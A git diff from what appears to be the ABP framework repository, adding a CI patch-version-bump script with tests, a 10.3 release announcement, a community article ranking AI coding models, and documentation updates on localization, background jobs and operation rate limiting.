diff --git a/.github/scripts/test_update_dependency_changes.py b/.github/scripts/test_update_dependency_changes.py
index fde9720590..2afaeec6a3 100644
--- a/.github/scripts/test_update_dependency_changes.py
+++ b/.github/scripts/test_update_dependency_changes.py
@@ -14,7 +14,7 @@ import sys
import os
sys.path.insert(0, os.path.dirname(__file__))
-from update_dependency_changes import merge_changes, render_section, normalize_version, extract_preamble
+from update_dependency_changes import merge_changes, render_section, normalize_version, extract_preamble, bump_patch_if_released
def test_update_then_revert():
@@ -438,6 +438,55 @@ def test_normalize_version_stable():
print("✓ Passed: stable versions unchanged\n")
+def test_bump_patch_no_tag():
+ """Test: version tag does not exist, should return as-is."""
+ print("Test 23: bump_patch_if_released - no tag exists")
+ tag_exists = lambda t: False
+ assert bump_patch_if_released("10.3.0", tag_exists) == "10.3.0"
+ assert bump_patch_if_released("10.2.0", tag_exists) == "10.2.0"
+ print("✓ Passed: version unchanged when tag does not exist\n")
+
+
+def test_bump_patch_tag_exists():
+ """Test: version tag exists, should bump patch."""
+ print("Test 24: bump_patch_if_released - tag exists")
+ existing_tags = {"10.3.0"}
+ tag_exists = lambda t: t in existing_tags
+ assert bump_patch_if_released("10.3.0", tag_exists) == "10.3.1", \
+ f"Expected '10.3.1', got: {bump_patch_if_released('10.3.0', tag_exists)}"
+ print("✓ Passed: version bumped to 10.3.1\n")
+
+
+def test_bump_patch_multiple_tags():
+ """Test: multiple consecutive tags exist, should bump past all."""
+ print("Test 25: bump_patch_if_released - multiple tags exist")
+ existing_tags = {"10.3.0", "10.3.1", "10.3.2"}
+ tag_exists = lambda t: t in existing_tags
+ assert bump_patch_if_released("10.3.0", tag_exists) == "10.3.3", \
+ f"Expected '10.3.3', got: {bump_patch_if_released('10.3.0', tag_exists)}"
+ print("✓ Passed: version bumped past all existing tags\n")
+
+
+def test_bump_patch_prerelease_skipped():
+ """Test: pre-release versions should not be bumped."""
+ print("Test 26: bump_patch_if_released - pre-release skipped")
+ tag_exists = lambda t: True # all tags "exist"
+ assert bump_patch_if_released("10.3.0-rc.1", tag_exists) == "10.3.0-rc.1"
+ assert bump_patch_if_released("10.3.0-rc.2", tag_exists) == "10.3.0-rc.2"
+ assert bump_patch_if_released("10.3.0-preview", tag_exists) == "10.3.0-preview"
+ print("✓ Passed: pre-release versions not bumped\n")
+
+
+def test_bump_patch_non_zero_patch():
+ """Test: version with non-zero patch, tag exists, should bump."""
+ print("Test 27: bump_patch_if_released - non-zero patch version")
+ existing_tags = {"10.3.1"}
+ tag_exists = lambda t: t in existing_tags
+ assert bump_patch_if_released("10.3.1", tag_exists) == "10.3.2", \
+ f"Expected '10.3.2', got: {bump_patch_if_released('10.3.1', tag_exists)}"
+ print("✓ Passed: non-zero patch correctly bumped\n")
+
+
def run_all_tests():
"""Run all test cases."""
print("=" * 70)
@@ -466,9 +515,14 @@ def run_all_tests():
test_normalize_version_preview()
test_normalize_version_rc()
test_normalize_version_stable()
+ test_bump_patch_no_tag()
+ test_bump_patch_tag_exists()
+ test_bump_patch_multiple_tags()
+ test_bump_patch_prerelease_skipped()
+ test_bump_patch_non_zero_patch()
print("=" * 70)
- print("All 22 tests passed! ✓")
+ print("All 27 tests passed! ✓")
print("=" * 70)
print("\nTest coverage summary:")
print(" ✓ Basic scenarios (update, add, remove)")
@@ -478,6 +532,7 @@ def run_all_tests():
print(" ✓ Document format validation")
print(" ✓ Preamble extraction (SEO block, no preamble, no heading)")
print(" ✓ Version normalization (preview -> rc.1)")
+ print(" ✓ Patch version bump when tag already released")
print("=" * 70)
diff --git a/.github/scripts/update_dependency_changes.py b/.github/scripts/update_dependency_changes.py
index f4f2c3db6c..9f39850084 100644
--- a/.github/scripts/update_dependency_changes.py
+++ b/.github/scripts/update_dependency_changes.py
@@ -25,6 +25,55 @@ def normalize_version(version):
return version
+def check_tag_exists(tag):
+ """Check if a git tag exists on the remote."""
+ result = subprocess.run(
+ ["git", "ls-remote", "--exit-code", "--tags", "origin", f"refs/tags/{tag}"],
+ capture_output=True,
+ text=True,
+ )
+ if result.returncode == 0:
+ return True
+ if result.returncode == 2:
+ return False
+
+ stderr = (result.stderr or "").strip()
+ raise RuntimeError(
+ f"Failed to check whether git tag '{tag}' exists on remote 'origin' "
+ f"(exit code {result.returncode}): {stderr or 'No error output provided.'}"
+ )
+
+
+def bump_patch_if_released(version, tag_exists_fn=None):
+ """If the version tag already exists, bump the patch version.
+
+ Only applies to stable versions (no pre-release suffix like -rc.N).
+ """
+ if tag_exists_fn is None:
+ tag_exists_fn = check_tag_exists
+
+ # Only bump stable versions (no pre-release suffix)
+ if "-" in version:
+ return version
+
+ parts = version.split(".")
+ if len(parts) != 3:
+ return version
+
+ major, minor = parts[0], parts[1]
+ try:
+ patch = int(parts[2])
+ except ValueError:
+ return version
+
+ current = version
+ while tag_exists_fn(current):
+ patch += 1
+ current = f"{major}.{minor}.{patch}"
+
+ return current
+
+
def get_version():
"""Read the current version from common.props."""
try:
@@ -296,6 +345,9 @@ def main():
print("Could not read version from common.props.")
sys.exit(1)
+ version = bump_patch_if_released(version)
+ print(f"Resolved version: {version}")
+
diff = get_diff(base_ref)
if not diff:
print("No diff found for Directory.Packages.props.")
diff --git a/Directory.Packages.props b/Directory.Packages.props
index d31678a994..1244c88d2a 100644
--- a/Directory.Packages.props
+++ b/Directory.Packages.props
@@ -19,10 +19,10 @@
-
-
-
-
+
+
+
+
@@ -175,7 +175,7 @@
-
+
diff --git a/docs/en/Blog-Posts/2026-04-15 v10_3_Release_Stable/POST.md b/docs/en/Blog-Posts/2026-04-15 v10_3_Release_Stable/POST.md
new file mode 100644
index 0000000000..ba905ce330
--- /dev/null
+++ b/docs/en/Blog-Posts/2026-04-15 v10_3_Release_Stable/POST.md
@@ -0,0 +1,72 @@
+# ABP.IO Platform 10.3 Final Has Been Released!
+
+We are glad to announce that [ABP](https://abp.io/) 10.3 stable version has been released.
+
+## What's New With Version 10.3?
+
+All the new features were explained in detail in the [10.3 RC Announcement Post](https://abp.io/community/announcements/announcing-abp-10-3-release-candidate-hgnpr9jq), so there is no need to review them again. You can check it out for more details.
+
+## Getting Started with 10.3
+
+### How to Upgrade an Existing Solution
+
+You can upgrade your existing solutions with either ABP Studio or ABP CLI. In the following sections, both approaches are explained:
+
+### Upgrading via ABP Studio
+
+If you are already using the ABP Studio, you can upgrade it to the latest version. ABP Studio periodically checks for updates in the background, and when a new version of ABP Studio is available, you will be notified through a modal. Then, you can update it by confirming the opened modal. See [the documentation](https://abp.io/docs/latest/studio/installation#upgrading) for more info.
+
+After upgrading the ABP Studio, then you can open your solution in the application, and simply click the **Upgrade ABP Packages** action button to instantly upgrade your solution:
+
+
+
+### Upgrading via ABP CLI
+
+Alternatively, you can upgrade your existing solution via ABP CLI. First, you need to install the ABP CLI or upgrade it to the latest version.
+
+If you haven't installed it yet, you can run the following command:
+
+```bash
+dotnet tool install -g Volo.Abp.Studio.Cli
+```
+
+Or to update the existing CLI, you can run the following command:
+
+```bash
+dotnet tool update -g Volo.Abp.Studio.Cli
+```
+
+After installing/updating the ABP CLI, you can use the [`update` command](https://abp.io/docs/latest/CLI#update) to update all the ABP related NuGet and NPM packages in your solution as follows:
+
+```bash
+abp update
+```
+
+You can run this command in the root folder of your solution to update all ABP related packages.
+
+## Migration Guides
+
+There are some important changes in this version that may affect your application. Please read the migration guide carefully, if you are upgrading from v10.2 or earlier versions: [ABP Version 10.3 Migration Guide](https://abp.io/docs/10.3/release-info/migration-guides/abp-10-3)
+
+## Community News
+
+### New ABP Community Articles
+
+As always, exciting articles have been contributed by the ABP community. I will highlight some of them here:
+
+- [Liming Ma](https://abp.io/community/members/maliming) has published 6 new posts:
+ - [Dynamic Events in ABP](https://abp.io/community/articles/dynamic-events-in-abp-dukq95m1)
+ - [Dynamic Background Jobs and Workers in ABP](https://abp.io/community/articles/dynamic-background-jobs-and-workers-in-abp-wfdkdsq9)
+ - [Shared User Accounts in ABP Multi-Tenancy](https://abp.io/community/articles/shared-user-accounts-in-abp-multitenancy-mf3bkg79)
+ - [Secure Client Authentication with private_key_jwt in ABP 10.3](https://abp.io/community/articles/secure-client-authentication-with-privatekeyjwt-in-abp-b2rf18bc)
+ - [Operation Rate Limiting in ABP Framework](https://abp.io/community/articles/operation-rate-limiting-in-abp-framework-f4jtd6sn)
+ - [Resource-Based Authorization in ABP Framework](https://abp.io/community/articles/resourcebased-authorization-in-abp-framework-choku1sn)
+- [One Endpoint, Many AI Clients: Turning ABP Workspaces into OpenAI-Compatible Models](https://abp.io/community/articles/turning-abp-workspaces-into-openai-compatible-endpoints-u3ls1gp4) by [Engincan Veske](https://abp.io/community/members/EngincanV)
+- [Automatically Validate Your Documentation: How We Built a Tutorial Validator](https://abp.io/community/articles/automatically-validate-your-documentation-m3ozgkhv) by [Mansur Besleney](https://abp.io/community/members/mansur.besleney)
+- [Automate Localhost Access for Expo: A Guide to Dynamic Cloudflare Tunnels & Dev Builds](https://abp.io/community/articles/automate-localhost-access-for-expo-a-guide-to-dynamic-7cblqtj3) by [Sumeyye Kurtulus](https://abp.io/community/members/sumeyye.kurtulus)
+
+Thanks to the ABP Community for all the content they have published. You can also [post your ABP related (text or video) content](https://abp.io/community/posts/create) to the ABP Community.
+
+## About the Next Version
+
+The next feature version will be 10.4. You can follow the [release planning here](https://github.com/abpframework/abp/milestones). Please [submit an issue](https://github.com/abpframework/abp/issues/new) if you have any problems with this version.
diff --git a/docs/en/Blog-Posts/2026-04-15 v10_3_Release_Stable/cover-image.png b/docs/en/Blog-Posts/2026-04-15 v10_3_Release_Stable/cover-image.png
new file mode 100644
index 0000000000..bf1112ca48
Binary files /dev/null and b/docs/en/Blog-Posts/2026-04-15 v10_3_Release_Stable/cover-image.png differ
diff --git a/docs/en/Blog-Posts/2026-04-15 v10_3_Release_Stable/upgrade-abp-packages.png b/docs/en/Blog-Posts/2026-04-15 v10_3_Release_Stable/upgrade-abp-packages.png
new file mode 100644
index 0000000000..4ec1d19589
Binary files /dev/null and b/docs/en/Blog-Posts/2026-04-15 v10_3_Release_Stable/upgrade-abp-packages.png differ
diff --git a/docs/en/Community-Articles/2026-04-17-Top-AI-Coding-Models-2026-Rankings/Post.md b/docs/en/Community-Articles/2026-04-17-Top-AI-Coding-Models-2026-Rankings/Post.md
new file mode 100644
index 0000000000..fe4bc61636
--- /dev/null
+++ b/docs/en/Community-Articles/2026-04-17-Top-AI-Coding-Models-2026-Rankings/Post.md
@@ -0,0 +1,254 @@
+## Introduction
+
+AI coding tools went from “cool autocomplete” to “basically your junior dev (who never sleeps)” in just a couple of years.
+
+In 2026, the landscape is **crowded, competitive, and honestly a bit confusing**. Every model claims to be the best at coding—but depending on what you actually *do* (APIs, frontend, DevOps, debugging), the “best” can change fast.
+
+So instead of hype, let’s break down the **top AI coding models in 2026**, ranked by:
+
+* Real-world dev usefulness
+* Code quality & correctness
+* Context handling
+* Tooling ecosystem
+
+We'll check the AI models against these topics:
+
+
+
+---
+
+## 🏆 1. GPT-5.4 (OpenAI) — The All-Round Beast
+
+Let’s not dance around it—**GPT-5.4 is still the most versatile coding model right now.**
+
+### Why it’s #1
+
+* Extremely strong across **all languages**
+* Handles **large codebases** without losing context
+* Excellent at:
+
+ * Refactoring
+ * Architecture suggestions
+ * Debugging complex issues
+
+### Where it shines
+
+* Full-stack development
+* API design
+* Writing clean, production-ready code
+
+### Where it struggles
+
+* Occasionally over-engineers solutions
+* Can be slower than lightweight models
+
+### As a result;
+
+If you want a **default “just works” coding AI**, this is it.
+
+---
+
+## 🥈 2. Claude 4.7 (Anthropic) — The Clean Code Specialist
+
+Claude 4.7 has built a reputation for writing code that feels like it came from a senior engineer who drinks too much coffee but cares deeply about readability.
+
+### Strengths
+
+* Beautiful, readable code
+* Strong reasoning for:
+
+ * Refactoring
+ * Code reviews
+ * Documentation
+
+### Killer feature
+
+* Massive context window → great for:
+
+ * Large repositories
+ * Long discussions
+ * System design
+
+### Weak spots
+
+* Slightly less aggressive in solving edge-case bugs
+* Sometimes too “safe” in decisions
+
+### As a result;
+
+Perfect if you care about **maintainability over raw speed**.
+
+---
+
+## 🥉 3. Gemini 3.1 (Google) — The Multimodal Powerhouse
+
+Gemini 3.1 is where things get interesting.
+
+This isn’t just a coding model—it’s a **multi-input problem solver**.
+
+### What makes it different
+
+* Understands:
+
+ * Code
+ * Screenshots
+ * Diagrams
+ * Logs
+
+### Where it dominates
+
+* Debugging UI issues from screenshots
+* DevOps + cloud workflows
+* Cross-referencing documentation
+
+### Downsides
+
+* Code style can be inconsistent
+* Sometimes less deterministic than GPT-5
+
+### As a result;
+
+If your workflow includes **visual debugging or cloud-heavy systems**, this is insanely useful.
+
+---
+
+## ⚡ 4. Mistral Code (Open Models) — The Speed King
+
+Mistral AI’s coding models are gaining serious attention.
+
+### Why devs love it
+
+* Fast
+* Cheap (or free if self-hosted)
+* Great for:
+
+ * Autocomplete
+ * Small functions
+ * Local development
+
+### Trade-offs
+
+* Not as strong in deep reasoning
+* Limited compared to closed models
+
+### As a result;
+
+Best choice for:
+
+* Privacy-sensitive environments
+* Offline/local setups
+* Lightweight coding tasks
+
+---
+
+## 🧠 5. Code Llama 4 — The Open-Source Veteran
+
+Code Llama 4 is still very relevant, especially in enterprise setups.
+
+### Strengths
+
+* Fully open-source
+* Customizable & fine-tunable
+* Good baseline performance
+
+### Weaknesses
+
+* Behind top-tier models in reasoning
+* Needs tuning for best results
+
+### As a result;
+
+If your company says “no cloud AI,” this is your friend.
+
+---
+
+## 📊 Comparison Table Between AI Models
+
+| Model | Best For | Weakness |
+| ------------ | ------------------------ | --------------------- |
+| GPT-5.4 | Everything | Slightly slower |
+| Claude 4.7 | Clean, maintainable code | Less aggressive fixes |
+| Gemini 3.1 | Multimodal workflows | Inconsistent style |
+| Mistral Code | Speed & local usage | Shallow reasoning |
+| Code Llama 4 | Open-source flexibility | Needs tuning |
+
+Image Prompt:
+A sleek table-style infographic comparing AI models with icons, performance bars, and labels like “Best for speed”, “Best for reasoning”.
+
+---
+
+## 🤔 When to Use What (Real Scenarios)
+
+### Use GPT-5.4 if:
+
+* You’re building a full product
+* You need architecture + implementation
+* You want fewer “AI mistakes”
+
+---
+
+### Use Claude 4.7 if:
+
+* You’re reviewing code
+* You care about readability
+* You’re working in a team
+
+---
+
+### Use Gemini 3.1 if:
+
+* You debug using screenshots/logs
+* You work with cloud infrastructure
+* You want multimodal workflows
+
+---
+
+### Use Mistral / Code Llama if:
+
+* You need local/private AI
+* You want low cost
+* You’re okay trading power for control
+
+---
+
+## 🔌 Where ABP Framework Fits In
+
+If you're working with **ASP.NET Core and the ABP Framework**, these models can seriously boost productivity:
+
+* GPT-5.4 → Generate **application services, DTOs, and modules**
+* Claude → Clean up **domain layer logic**
+* Gemini → Help debug **UI + backend integration issues**
+
+The sweet spot?
+
+👉 Use AI to scaffold ABP layers, then refine manually.
+That keeps your architecture clean while still saving hours.
+
+---
+
+## 🚨 Reality Check
+
+AI coding models in 2026 are powerful—but:
+
+* They still hallucinate edge cases
+* They don’t fully understand your business logic
+* They can fix somewhere, break another
+* They can not fix a bug even after you write 10 different prompts
+
+So yeah—**don’t ship blind**.
+
+Treat them like:
+
+> A fast junior dev… who needs code review.
+
+---
+
+## TL;DR
+
+👉 There’s no single “winner”—just the best tool for your workflow.
+
+
+
+---
+
+If you're experimenting with these models in real projects (especially with ABP), it's worth trying **multiple models side-by-side**. The differences become obvious *fast*.
diff --git a/docs/en/Community-Articles/2026-04-17-Top-AI-Coding-Models-2026-Rankings/cover.png b/docs/en/Community-Articles/2026-04-17-Top-AI-Coding-Models-2026-Rankings/cover.png
new file mode 100644
index 0000000000..e21f08e5bc
Binary files /dev/null and b/docs/en/Community-Articles/2026-04-17-Top-AI-Coding-Models-2026-Rankings/cover.png differ
diff --git a/docs/en/Community-Articles/2026-04-17-Top-AI-Coding-Models-2026-Rankings/pic1.jpg b/docs/en/Community-Articles/2026-04-17-Top-AI-Coding-Models-2026-Rankings/pic1.jpg
new file mode 100644
index 0000000000..9fc5d913ad
Binary files /dev/null and b/docs/en/Community-Articles/2026-04-17-Top-AI-Coding-Models-2026-Rankings/pic1.jpg differ
diff --git a/docs/en/Community-Articles/2026-04-17-Top-AI-Coding-Models-2026-Rankings/pic2.png b/docs/en/Community-Articles/2026-04-17-Top-AI-Coding-Models-2026-Rankings/pic2.png
new file mode 100644
index 0000000000..95c4c84b6c
Binary files /dev/null and b/docs/en/Community-Articles/2026-04-17-Top-AI-Coding-Models-2026-Rankings/pic2.png differ
diff --git a/docs/en/cli/index.md b/docs/en/cli/index.md
index bdbe9493b9..e7909fe510 100644
--- a/docs/en/cli/index.md
+++ b/docs/en/cli/index.md
@@ -241,6 +241,8 @@ For more samples, go to [ABP CLI Create Solution Samples](new-command-samples.md
* `-no-text-template-management`: Skips the Text Template Management module.
* `-file-management`: Includes the File Management module.
* `-chat`: Includes the Chat module.
+ * `-ai-management`: Includes the [AI Management](./../modules/ai-management/index.md) module.
+ * `-ai-providers `: AI providers (comma-separated). Valid values: `Ollama`, `OpenAI`. (Requires `-ai-management`)
* `--legacy`: Generates a legacy solution.
* `trust-version`: Trusts the user's version and does not check if the version exists or not. If the template with the given version is found in the cache, it will be used, otherwise throws an exception.
diff --git a/docs/en/framework/fundamentals/localization.md b/docs/en/framework/fundamentals/localization.md
index 562446a892..5fd243eeef 100644
--- a/docs/en/framework/fundamentals/localization.md
+++ b/docs/en/framework/fundamentals/localization.md
@@ -126,6 +126,43 @@ var str2 = L["Hi__0"]; // Bye World!
var str3 = L["Hi__1"]; // Hello World!
````
+You can have more than one localization file with the same culture: files will be merged. This is useful for large modules where splitting translations by feature keeps each file manageable.
+
+**Example file structure:**
+
+```
+Localization/
+└── MyResource/
+ ├── en.json ← base / shared strings
+ ├── en_Authors.json ← Author feature strings
+ ├── en_Books.json ← Book feature strings
+ └── en_Users.json ← User feature strings
+```
+
+Files are sorted by name (ordinal order) before merging, so the effective merge order is `en.json` → `en_Authors.json` → `en_Books.json` → `en_Users.json`.
+
+```
+en.json en_Authors.json en_Books.json
+┌─────────────────┐ ┌───────────────┐ ┌──────────────────┐
+│ DisplayName=Name│ │ Author.Id=Id │ │ Book.Id=ISBN │
+│ SaveButton=Save │ │ Author.Bio=.. │ │ Book.Title=Title │
+└─────────────────┘ └───────────────┘ └──────────────────┘
+ │ │ │
+ └──────────────────┴──────────────────┘
+ │ merge (later file wins on duplicate keys)
+ ▼
+ ┌────────────────────┐
+ │ DisplayName = Name │
+ │ SaveButton = Save │
+ │ Author.Id = Id │
+ │ Author.Bio = ... │
+ │ Book.Id = ISBN │
+ │ Book.Title = Title│
+ └────────────────────┘
+```
+
+> Note: If the same key is defined in multiple files, the value from the last file (in sort order) wins.
+
### Default Resource
`AbpLocalizationOptions.DefaultResourceType` can be set to a resource type, so it is used when the localization resource was not specified:
diff --git a/docs/en/framework/infrastructure/background-jobs/index.md b/docs/en/framework/infrastructure/background-jobs/index.md
index 2f27055f46..cdc4a1b5fb 100644
--- a/docs/en/framework/infrastructure/background-jobs/index.md
+++ b/docs/en/framework/infrastructure/background-jobs/index.md
@@ -271,9 +271,9 @@ If multiple applications share the same storage for background jobs and workers
Set `ApplicationName` property in `AbpBackgroundJobWorkerOptions` to your application's name:
````csharp
-public override void PreConfigureServices(ServiceConfigurationContext context)
+public override void ConfigureServices(ServiceConfigurationContext context)
{
- PreConfigure(options =>
+ Configure(options =>
{
options.ApplicationName = context.Services.GetApplicationName()!;
});
diff --git a/docs/en/framework/infrastructure/background-workers/index.md b/docs/en/framework/infrastructure/background-workers/index.md
index a8e558cea1..912827ce94 100644
--- a/docs/en/framework/infrastructure/background-workers/index.md
+++ b/docs/en/framework/infrastructure/background-workers/index.md
@@ -212,9 +212,9 @@ If multiple applications share the same storage for background jobs and workers
Set `ApplicationName` property in `AbpBackgroundJobWorkerOptions` to your application's name:
````csharp
-public override void PreConfigureServices(ServiceConfigurationContext context)
+public override void ConfigureServices(ServiceConfigurationContext context)
{
- PreConfigure(options =>
+ Configure(options =>
{
options.ApplicationName = context.Services.GetApplicationName()!;
});
diff --git a/docs/en/modules/index.md b/docs/en/modules/index.md
index 5ab619698a..0368b7ae0c 100644
--- a/docs/en/modules/index.md
+++ b/docs/en/modules/index.md
@@ -40,6 +40,7 @@ Here are all the free and pro application modules developed and maintained as a
* **[OpenIddict (Pro)](openiddict-pro.md)**: Managing the openiddict objects like applications, scopes.
* **[Payment (Pro)](payment.md)**: Payment gateway integrations.
* [**Permission Management**](permission-management.md): Used to persist permissions.
+* [**Operation Rate Limiting**](operation-rate-limiting.md): Provides application/domain code level rate-limiting features.
* **[SaaS (Pro)](saas.md)**: Manage tenants, editions and features to create your multi-tenant / SaaS application.
* **[Setting Management](setting-management.md)**: Used to persist and manage the [settings](../framework/infrastructure/settings.md).
* [**Tenant Management**](tenant-management.md): Manages tenants for a [multi-tenant](../framework/architecture/multi-tenancy) application.
diff --git a/docs/en/modules/operation-rate-limiting.md b/docs/en/modules/operation-rate-limiting.md
index f285793695..6ef1444eb6 100644
--- a/docs/en/modules/operation-rate-limiting.md
+++ b/docs/en/modules/operation-rate-limiting.md
@@ -15,7 +15,7 @@ ABP provides an operation rate limiting system that allows you to control the fr
* Do not allow generating a "monthly sales report" more than 2 times per day for each user (if generating the report is resource-intensive).
* Restrict login attempts per IP address to prevent brute-force attacks.
-> This is not for [ASP.NET Core's built-in rate limiting middleware](https://learn.microsoft.com/en-us/aspnet/core/performance/rate-limit) which works at the HTTP request pipeline level. This module works at the **application/domain code level** and is called explicitly from your services. See the [Combining with ASP.NET Core Rate Limiting](#combining-with-aspnet-core-rate-limiting) section for a comparison.
+> This is not for [ASP.NET Core's built-in rate limiting middleware](https://learn.microsoft.com/en-us/aspnet/core/performance/rate-limit), which works at the HTTP request pipeline level. This module works at the **application/domain code level** and is called explicitly from your services. See the [ASP.NET Core Rate Limiting vs ABP Operation Rate Limiting](#aspnet-core-rate-limiting-vs-abp-operation-rate-limiting) section for the complete comparison.
## How to Install
@@ -324,6 +324,8 @@ await checker.CheckAsync("SendSmsCode",
new OperationRateLimitingContext { Parameter = phoneNumber });
````
+> **Important:** `PartitionByParameter` uses the parameter value **as-is** without any normalization. If you pass user-supplied values (e.g., email addresses, phone numbers), you are responsible for normalizing them before passing. For example, `user@example.com` and `User@Example.COM` will be treated as **different** partition keys. Use `PartitionByEmail` or `PartitionByPhoneNumber` instead when the parameter is an email or phone number — they handle normalization automatically.
+
### PartitionByCurrentUser
Uses `ICurrentUser.Id` as the partition key. The user must be authenticated:
@@ -357,7 +359,7 @@ policy.WithFixedWindow(TimeSpan.FromMinutes(15), maxCount: 10)
### PartitionByEmail
-Resolves from `context.Parameter` first, then falls back to `ICurrentUser.Email`:
+Resolves from `context.Parameter` first, then falls back to `ICurrentUser.Email`. The value is automatically **normalized to uppercase** (using `ToUpperInvariant()`) so that `user@example.com` and `User@Example.COM` share the same rate limit counter:
````csharp
policy.WithFixedWindow(TimeSpan.FromMinutes(1), maxCount: 1)
@@ -370,7 +372,7 @@ await checker.CheckAsync("SendEmailCode",
### PartitionByPhoneNumber
-Works the same way as `PartitionByEmail`: resolves from `context.Parameter` first, then falls back to `ICurrentUser.PhoneNumber`.
+Works the same way as `PartitionByEmail`: resolves from `context.Parameter` first, then falls back to `ICurrentUser.PhoneNumber`. The value is automatically **normalized** by stripping formatting characters (spaces, dashes, dots, parentheses) while keeping `+` and digits, so that `+1-555-123-4567` and `+15551234567` share the same counter.
### Custom Partition (PartitionBy)
@@ -650,9 +652,9 @@ await checker.CheckAsync("UserApiLimit",
This approach gives you full flexibility while keeping the API simple — `PartitionByCurrentUser()` is a convenience shortcut for "always use the current authenticated user", and `PartitionByParameter()` is for "I want to specify the value explicitly".
-### Combining with ASP.NET Core Rate Limiting
+### ASP.NET Core Rate Limiting vs ABP Operation Rate Limiting
-This module and ASP.NET Core's built-in [rate limiting middleware](https://learn.microsoft.com/en-us/aspnet/core/performance/rate-limit) serve different purposes and can be used together:
+This module and ASP.NET Core's built-in [rate limiting middleware](https://learn.microsoft.com/en-us/aspnet/core/performance/rate-limit) serve different purposes but can be used together. See the below comparison table:
| | ASP.NET Core Rate Limiting | Operation Rate Limiting |
|---|---|---|
diff --git a/docs/en/others/aspnet-zero-vs-abp.md b/docs/en/others/aspnet-zero-vs-abp.md
index dc26286b32..7a23503838 100644
--- a/docs/en/others/aspnet-zero-vs-abp.md
+++ b/docs/en/others/aspnet-zero-vs-abp.md
@@ -477,6 +477,11 @@
| ABP Suite |
Power Tools |
+
+ | AI Agent |
+ ABP Studio AI Agent |
+ |
+
| Support |
diff --git a/docs/en/package-version-changes.md b/docs/en/package-version-changes.md
index dd380e78f0..5b4722e976 100644
--- a/docs/en/package-version-changes.md
+++ b/docs/en/package-version-changes.md
@@ -7,6 +7,12 @@
# Package Version Changes
+## 10.3.1
+
+| Package | Old Version | New Version | PR |
+|---------|-------------|-------------|-----|
+| System.Security.Cryptography.Xml | 10.0.2 | 10.0.6 | #25279 |
+
## 10.3.0-rc.1
| Package | Old Version | New Version | PR |
@@ -15,6 +21,15 @@
| Autofac.Extensions.DependencyInjection | 10.0.0 | 11.0.0 | #25190 |
| Microsoft.Bcl.AsyncInterfaces | 10.0.2 | 10.0.4 | #25190 |
+## 10.2.1
+
+| Package | Old Version | New Version | PR |
+|---------|-------------|-------------|-----|
+| Blazorise | 2.0.0 | 2.0.4 | #25264 |
+| Blazorise.Components | 2.0.0 | 2.0.4 | #25264 |
+| Blazorise.DataGrid | 2.0.0 | 2.0.4 | #25264 |
+| Blazorise.Snackbar | 2.0.0 | 2.0.4 | #25264 |
+
## 10.2.0-rc.4
| Package | Old Version | New Version | PR |
diff --git a/docs/en/release-info/release-notes.md b/docs/en/release-info/release-notes.md
index d98a17e2a8..2f6c70094c 100644
--- a/docs/en/release-info/release-notes.md
+++ b/docs/en/release-info/release-notes.md
@@ -11,53 +11,53 @@ This document contains **brief release notes** for each release. Release notes o
Also see the following notes about ABP releases:
-* [ABP Studio release notes](../studio/release-notes.md)
-* [Change logs for ABP pro packages](https://abp.io/pro-releases)
+- [ABP Studio release notes](../studio/release-notes.md)
+- [Change logs for ABP pro packages](https://abp.io/pro-releases)
-## 10.3 (2026-04-01)
+## 10.3 (2026-04-15)
-> This is currently an RC (release-candidate) and you can see the detailed **[blog post / announcement](https://abp.io/community/announcements/announcing-abp-10-3-release-candidate-hgnpr9jq)** for the v10.3 release.
+See the detailed **[blog post / announcement](https://abp.io/community/announcements/announcing-abp-10-3-release-candidate-hgnpr9jq)** for the v10.3 release.
-* OpenIddict: `private_key_jwt` Client Authentication + `abp generate-jwks`
-* Event Bus: String-Based Event Publishing with Dynamic Payload
-* Background Jobs/Workers: String-Based Publishing with Dynamic Payload
-* API Definition Endpoint: Descriptions and Documentation Support
-* Entity Cache: New Batch APIs (`FindMany*` / `GetMany*`)
-* Angular: User/Tenant Sharing and Tenant Switch Experience
-* Angular: Upgrade to 21.2 + TypeScript 5.9
-* Introducing the `Volo.Abp.LuckyPenny.AutoMapper` Provider
-* Security Improvements (Account Pro Module)
+- OpenIddict: `private_key_jwt` Client Authentication + `abp generate-jwks`
+- Event Bus: String-Based Event Publishing with Dynamic Payload
+- Background Jobs/Workers: String-Based Publishing with Dynamic Payload
+- API Definition Endpoint: Descriptions and Documentation Support
+- Entity Cache: New Batch APIs (`FindMany`* / `GetMany*`)
+- Angular: User/Tenant Sharing and Tenant Switch Experience
+- Angular: Upgrade to 21.2 + TypeScript 5.9
+- Introducing the `Volo.Abp.LuckyPenny.AutoMapper` Provider
+- Security Improvements (Account Pro Module)
## 10.2 (2026-02-24)
See the detailed **[blog post / announcement](https://abp.io/community/announcements/announcing-abp-10-2-stable-release-x47ytfww)** for the v10.2 release.
-* Multi-Tenant Account Usage: Shared User Accounts
-* Prevent Privilege Escalation: Assignment Restrictions for Roles and Permissions
-* `ClientResourcePermissionValueProvider` for OAuth/OpenIddict
-* Angular: Hybrid Localization Support
-* Angular: Extensible Table Row Detail
-* Angular: CMS Kit Module Features
-* Blazor: Upgrade to Blazorise 2.0
-* Identity: Single Active Token Providers
-* TickerQ Package Upgrade to 10.1.1
-* [AI Management Module](../modules/ai-management/index.md): MCP (Model Context Protocol) Support
-* [AI Management Module](../modules/ai-management/index.md): RAG with File Upload
-* [AI Management Module](../modules/ai-management/index.md): OpenAI-Compatible Chat Endpoint
-* [File Management Module](../modules/file-management.md): Resource-Based Authorization
+- Multi-Tenant Account Usage: Shared User Accounts
+- Prevent Privilege Escalation: Assignment Restrictions for Roles and Permissions
+- `ClientResourcePermissionValueProvider` for OAuth/OpenIddict
+- Angular: Hybrid Localization Support
+- Angular: Extensible Table Row Detail
+- Angular: CMS Kit Module Features
+- Blazor: Upgrade to Blazorise 2.0
+- Identity: Single Active Token Providers
+- TickerQ Package Upgrade to 10.1.1
+- [AI Management Module](../modules/ai-management/index.md): MCP (Model Context Protocol) Support
+- [AI Management Module](../modules/ai-management/index.md): RAG with File Upload
+- [AI Management Module](../modules/ai-management/index.md): OpenAI-Compatible Chat Endpoint
+- [File Management Module](../modules/file-management.md): Resource-Based Authorization
## 10.1 (2026-01-06)
See the detailed **[blog post / announcement](https://abp.io/community/announcements/announcing-abp-10-1-stable-release-z4xfn1me)** for the v10.1 release.
-* Resource-Based Authorization
-* Introducing the [TickerQ Background Worker Provider](../framework/infrastructure/background-workers/tickerq.md)
-* Angular UI: Version Upgrade to **v21**
-* [File Management Module](../modules/file-management.md): Public File Sharing Support
-* [Payment Module](../modules/payment.md): Public Page Implementation for Blazor & Angular UIs
-* [AI Management Module](../modules/ai-management/index.md) for Blazor & Angular UIs
